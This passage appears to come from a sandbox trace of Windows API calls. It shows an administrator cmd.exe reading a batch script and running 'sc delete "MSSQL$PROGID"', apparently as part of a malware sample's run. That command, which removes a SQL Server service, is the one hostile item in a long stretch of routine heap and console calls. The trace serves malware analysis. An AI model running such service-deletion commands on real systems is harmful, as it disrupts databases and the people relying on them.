lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.151] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="Lrver\nRY$HL\"\nvice\n\n") returned 1 [0066.151] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.151] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.151] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.151] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="$ver\nRY$HL\"\nvice\n\n") returned 1 [0066.151] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.151] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.151] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.151] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="Per\nRY$HL\"\nvice\n\n") returned 1 [0066.151] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.151] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.151] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.151] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="Rr\nRY$HL\"\nvice\n\n") returned 1 [0066.152] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.152] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.152] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.152] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="O\nRY$HL\"\nvice\n\n") returned 1 [0066.152] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.152] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.152] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.152] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="GRY$HL\"\nvice\n\n") returned 1 [0066.152] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.152] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.152] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.152] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="IY$HL\"\nvice\n\n") returned 1 [0066.153] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.153] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.153] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.153] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="D$HL\"\nvice\n\n") returned 1 [0066.153] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.153] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.153] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.153] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="\"HL\"\nvice\n\n") returned 1 [0066.153] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.153] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.153] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.153] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="\nL\"\nvice\n\n") returned 1 [0066.153] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.153] GetFileType (hFile=0xb8) returned 0x3 [0066.153] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.153] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.153] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.153] GetFileType (hFile=0x120) returned 0x3 [0066.153] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.153] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"MSSQL$PROGID\"\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"MSSQL$PROGID\"\n", lpUsedDefaultChar=0x0) returned 26 [0066.153] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x19, lpOverlapped=0x0) returned 1 [0066.153] GetProcessHeap () returned 0x1b0000 [0066.154] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0066.154] GetProcessHeap () returned 0x1b0000 [0066.154] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0066.154] GetProcessHeap () returned 0x1b0000 [0066.154] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0066.154] GetProcessHeap () returned 0x1b0000 [0066.154] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0066.154] GetProcessHeap () returned 0x1b0000 [0066.154] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3e) returned 0x1caa40 [0066.154] GetConsoleOutputCP () returned 0x1b5 [0066.154] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.154] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.154] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.155] GetProcessHeap () returned 0x1b0000 [0066.155] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0066.155] GetProcessHeap () returned 0x1b0000 [0066.155] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x44) returned 0x1caa90 [0066.155] GetProcessHeap () returned 0x1b0000 [0066.155] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc530 [0066.155] SetErrorMode (uMode=0x0) returned 0x1 [0066.155] SetErrorMode (uMode=0x1) returned 0x0 [0066.155] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc540, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0066.155] SetErrorMode (uMode=0x1) returned 0x1 [0066.155] GetProcessHeap () returned 0x1b0000 [0066.155] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc530, Size=0x62) returned 0x1cc530 [0066.155] GetProcessHeap () returned 0x1b0000 [0066.155] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc530) returned 0x62 [0066.155] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0066.155] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0066.155] GetProcessHeap () returned 0x1b0000 [0066.155] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0066.155] GetProcessHeap () returned 0x1b0000 [0066.156] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0066.156] GetProcessHeap () returned 0x1b0000 [0066.156] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0066.156] GetProcessHeap () returned 0x1b0000 [0066.156] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0066.156] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0066.156] GetProcessHeap () returned 0x1b0000 [0066.156] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0066.156] GetProcessHeap () returned 0x1b0000 [0066.156] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0066.156] GetProcessHeap () returned 0x1b0000 [0066.156] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0066.156] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.156] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.156] GetLastError () returned 0x2 [0066.156] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.157] GetLastError () returned 0x2 [0066.157] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.157] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0066.157] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0066.157] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.157] GetLastError () returned 0x2 [0066.157] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0066.157] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0066.158] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0066.158] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0066.158] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.158] GetProcessHeap () returned 0x1b0000 [0066.158] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0066.158] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.158] GetProcessHeap () returned 0x1b0000 [0066.158] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xaa) returned 0x1c9180 [0066.158] GetProcessHeap () returned 0x1b0000 [0066.158] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xaa [0066.158] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"MSSQL$PROGID\"") returned 1 [0066.159] GetProcessHeap () returned 0x1b0000 [0066.159] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0066.159] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0066.159] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0066.159] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0066.159] GetProcessHeap () returned 0x1b0000 [0066.159] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0066.160] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.161] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.161] GetProcessHeap () returned 0x1b0000 [0066.161] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0066.161] GetProcessHeap () returned 0x1b0000 [0066.161] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0066.161] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"MSSQL$PROGID\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"MSSQL$PROGID\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete \"MSSQL$PROGID\"", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0xb78, dwThreadId=0xb64)) returned 1 [0066.164] CloseHandle (hObject=0x50) returned 1 [0066.164] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0066.165] GetProcessHeap () returned 0x1b0000 [0066.165] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0066.165] GetEnvironmentStringsW () returned 0x1cba10* [0066.165] GetProcessHeap () returned 0x1b0000 [0066.165] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0066.165] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0066.165] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0066.165] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd5000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0066.165] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0066.234] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0066.235] CloseHandle (hObject=0x54) returned 1 [0066.235] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0066.235] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0066.235] GetProcessHeap () returned 0x1b0000 [0066.235] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0066.235] GetEnvironmentStringsW () returned 0x1d1b10* [0066.235] GetProcessHeap () returned 0x1b0000 [0066.235] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0066.235] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.235] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0066.235] GetProcessHeap () returned 0x1b0000 [0066.235] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0066.235] GetEnvironmentStringsW () returned 0x1cba10* [0066.235] GetProcessHeap () returned 0x1b0000 [0066.235] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0066.235] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0066.235] GetProcessHeap () returned 0x1b0000 [0066.235] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0066.235] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0066.235] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0066.236] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.236] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0066.236] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.236] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0066.237] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.237] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0066.237] GetConsoleOutputCP () returned 0x1b5 [0066.237] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.237] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.237] GetProcessHeap () returned 0x1b0000 [0066.237] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0066.237] GetProcessHeap () returned 0x1b0000 [0066.237] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0066.237] GetProcessHeap () returned 0x1b0000 [0066.237] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0066.237] GetProcessHeap () returned 0x1b0000 [0066.237] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc530 | out: hHeap=0x1b0000) returned 1 [0066.238] GetProcessHeap () returned 0x1b0000 [0066.238] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa90 | out: hHeap=0x1b0000) returned 1 [0066.238] GetProcessHeap () returned 0x1b0000 [0066.238] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0066.238] GetProcessHeap () returned 0x1b0000 [0066.238] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0066.238] GetProcessHeap () returned 0x1b0000 [0066.238] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0066.238] GetProcessHeap () returned 0x1b0000 [0066.238] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0066.238] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0066.238] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.238] GetFileType (hFile=0x120) returned 0x3 [0066.238] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.238] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0066.238] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0066.238] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0066.238] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: 